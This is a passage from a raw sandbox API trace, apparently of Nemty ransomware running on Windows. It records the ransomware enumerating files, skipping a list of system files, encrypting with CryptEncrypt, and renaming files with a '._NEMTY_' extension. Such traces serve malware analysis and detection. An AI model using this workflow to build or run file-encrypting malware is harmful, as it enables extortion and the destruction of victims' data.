dwHighDateTime=0x1d561e7)) [0081.539] GetLastError () returned 0x5 [0081.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0081.539] GetLastError () returned 0x5 [0081.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0081.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0081.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0081.539] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0081.539] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0081.539] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0081.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0081.539] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="9LTqCHVINwKiC0xUORv/rTuZ/9gBv5oA8Vh7tfz8oCgQYOey+dgcXFifeNwHPTFl\r\nNY+jkCdYVTXPl/bAFe8qUBS3S41rbnT+4SCsoWx5pNHmjC0ljC02PbqeNcAad++h\r\n0IZs/5fspJkcFzVQEJdE3zdsPWxIz2xzEKjsNTatrcyAMAk7YrOKQukZ/QOHu0iS\r\nHq4GrEmyUDKRliSe2nrddh5puDYuEDgJ3I2IUgYrIV3lOk+iV5/Bbs2+TvwiCsGo\r\nQHq4Ns7fwywVy772pTbwZdfgpS9EQDl1mkTlPJwLj3sm0/PvJLebwmh3Jk+g1HRQ\r\nEPtAhAuUG1iHXd8/GxVILw==\r\n", pcchString=0x653e91c) returned 1 [0081.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0081.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0081.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0081.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0081.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0081.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0081.540] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\reflect.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.542] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0081.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0081.542] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.542] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.552] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.552] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.552] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.552] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.561] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.561] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.561] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.561] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.576] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.576] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.576] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.577] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.586] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.586] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.586] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.586] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.596] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.596] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.596] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.596] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.605] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.605] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.605] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.605] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.614] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.615] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.624] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.624] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.624] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.624] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.634] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.634] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.634] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.634] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.643] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.643] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.643] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.643] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.649] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.649] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.649] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.649] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.655] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.655] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.655] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.655] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.655] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0081.656] CloseHandle (hObject=0xffffffff) returned 0 [0081.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0081.656] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0081.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0081.656] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0081.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0081.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0081.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0081.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f94328 [0081.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0081.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0081.656] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\reflect.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\reflect.png._nemty_kgobjgd_")) returned 0 [0081.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0081.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0081.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0081.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0081.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0081.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0081.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0081.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0081.657] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f97bea6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f97bea6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2fcdc, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="vistabg.png", cAlternateFileName="")) returned 1 [0081.657] lstrcmpiW (lpString1="vistabg.png", lpString2=".") returned 1 [0081.657] lstrcmpiW (lpString1="vistabg.png", lpString2="..") returned 1 [0081.657] lstrcmpiW (lpString1="vistabg.png", lpString2="...") returned 1 [0081.657] lstrcmpiW (lpString1="vistabg.png", lpString2="windows") returned -1 [0081.657] lstrcmpiW (lpString1="vistabg.png", lpString2="$RECYCLE.BIN") returned 1 [0081.657] lstrcmpiW (lpString1="vistabg.png", lpString2="rsa") returned 1 [0081.657] lstrcmpiW (lpString1="vistabg.png", lpString2="NTDETECT.COM") returned 1 [0081.657] lstrcmpiW (lpString1="vistabg.png", lpString2="ntldr") returned 1 [0081.657] lstrcmpiW (lpString1="vistabg.png", lpString2="MSDOS.SYS") returned 1 [0081.657] lstrcmpiW (lpString1="vistabg.png", lpString2="IO.SYS") returned 1 [0081.657] lstrcmpiW (lpString1="vistabg.png", lpString2="boot.ini") returned 1 [0081.657] lstrcmpiW (lpString1="vistabg.png", lpString2="boot.ini") returned 1 [0081.657] lstrcmpiW (lpString1="vistabg.png", lpString2="AUTOEXEC.BAT") returned 1 [0081.657] lstrcmpiW (lpString1="vistabg.png", lpString2="ntuser.dat") returned 1 [0081.657] lstrcmpiW (lpString1="vistabg.png", lpString2="desktop.ini") returned 1 [0081.657] lstrcmpiW (lpString1="vistabg.png", lpString2="CONFIG.SYS") returned 1 [0081.657] lstrcmpiW (lpString1="vistabg.png", lpString2="RECYCLER") returned 1 [0081.657] lstrcmpiW (lpString1="vistabg.png", lpString2="BOOTSECT.BAK") returned 1 [0081.657] lstrcmpiW (lpString1="vistabg.png", lpString2="bootmgr") returned 1 [0081.657] lstrcmpiW (lpString1="vistabg.png", lpString2="programdata") returned 1 [0081.657] lstrcmpiW (lpString1="vistabg.png", lpString2="appdata") returned 1 [0081.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0081.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vistabg.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0081.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vistabg.png", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vistabg.png", lpUsedDefaultChar=0x0) returned 11 [0081.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0081.658] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vistabg.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0081.658] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vistabg.png", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vistabg.png", lpUsedDefaultChar=0x0) returned 11 [0081.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0081.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0081.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0081.658] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vistabg.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0081.658] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vistabg.png", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vistabg.png", lpUsedDefaultChar=0x0) returned 11 [0081.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0081.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0081.658] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vistabg.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0081.658] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vistabg.png", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vistabg.png", lpUsedDefaultChar=0x0) returned 11 [0081.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0081.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0081.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0081.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0081.658] Sleep (dwMilliseconds=0x5) [0081.666] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe45282d0, dwHighDateTime=0x1d561e7)) [0081.666] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe45282d0, dwHighDateTime=0x1d561e7)) [0081.666] GetLastError () returned 0x5 [0081.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0081.666] GetLastError () returned 0x5 [0081.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0081.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0081.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0081.666] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0081.666] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0081.667] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0081.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0081.667] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="7cH1gc2fRZ7n768yb0f/yfc7JqwMW4FpPgLb61Y2v7DbNskUuhrjYWNs5kE6mAPo\r\nLxzzGGM254kZpkPgpJfUFiPFFG0qFse45MhEtt57VoGxOk+dcGPaKZlOJ+8kW8mK\r\naTgBdH4c0MFuaWY1rkB0q9/2ByXFKLmr7it0IOIZSYgWb4YGU9e0zevsb6pN6NM4\r\njQfhh/M+He6PBTdE+A27hTBjfLsae2Y5cYNwt8yBHKOk2NZ+l/90WveS7f/uT1Fr\r\nShNGI12u8ckAFfGpuPVA84qD0Zjw8KVOsnjxZlvDeNFJhPklIluucV69DWHAjKNA\r\n8Q5HxruRJsz5y1QX/R1Eyg==\r\n", pcchString=0x653e91c) returned 1 [0081.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0081.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0081.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0081.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0081.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0081.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0081.667] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.667] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0081.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0081.667] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.667] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, 